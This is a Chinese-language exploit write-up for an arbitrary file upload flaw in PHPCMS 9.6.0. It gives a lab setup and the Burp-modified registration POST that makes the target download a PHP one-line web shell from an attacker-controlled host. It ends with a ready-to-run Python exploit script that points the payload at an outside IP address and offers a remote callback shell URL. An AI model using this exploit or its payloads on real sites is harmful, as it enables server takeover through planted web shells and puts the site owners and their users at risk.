0x01 漏洞環(huán)境
攻擊機:Windows10:192.168.10.21。
服務機:Kali Linux 2017.01 amd 64:192.168.10.68(提供 web shell 文件下載)。
靶機:Redhat Enterprise 7.3 x64:192.168.10.44(靶機運行 PHPCMS 9.6.0 Web 服務)内颗。
0x02 利用過程
Kali Linux Python 命令python -mSimpleHTTPServer 80
開啟簡易 Web 服務器越妈,提供 shell(PHP 一句話木馬)資源下載檩赢。
Kali 搭建 Shell 資源下載服務器.png
打開 PHPCMS v9.6 注冊頁面:
http://192.168.10.44/index.php?m=member&c=index&a=register&siteid=1
闪盔,進行注冊操作并利用 Burp Suite 進行截取數據包结序。修改其中的參數:modelid
障斋,info
,dosubmit
徐鹤。詳細修改參數如下:modelid=11
info[content]=<img src=http://192.168.10.68/shell.txt?.php#.jpg>
dosubmit=1
提交 POST 數據包獲取 Shell
提交數據包后將獲得 Web Shell 的 URL 路徑:獲得shell:
http://192.168.10.44/uploadfile/2017/0511/20170511074521592.php
垃环。
0x03 Exp
# -*- coding:utf-8 -*-
'''
----------------------
Author : Akkuman
Blog : hacktech.cn
----------------------
'''
import requests
import sys
from random import Random
chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'
def main():
if len(sys.argv) < 2:
print("[*]Usage : Python 1.py http://xxx.com")
sys.exit()
host = sys.argv[1]
url = host + "/index.php?m=member&c=index&a=register&siteid=1"
data = { # 構建POST數據包
"siteid": "1",
"modelid": "1",
"username": "xianjian",
"password": "123456",
"email": "xianjian@qq.com",
# 如果想使用回調的可以使用http://file.codecat.one/oneword.txt,一句話地址為.php后面加上e=YXNzZXJ0
"info[content]": "<img src=http://203.67.242.54/any.txt?.php#.jpg>",
"dosubmit": "1",
"protocol": "",
}
try:
rand_name = chars[Random().randint(0, len(chars) - 1)]
data["username"] = "xianjian_%s" % rand_name
data["email"] = "xianjian_%s@qq.com" % rand_name
htmlContent = requests.post(url, data=data)
successUrl = ""
if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
print("[*]Shell : %s" % successUrl)
if successUrl == "":
print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
except:
print("Request Error")
if __name__ == '__main__':
main()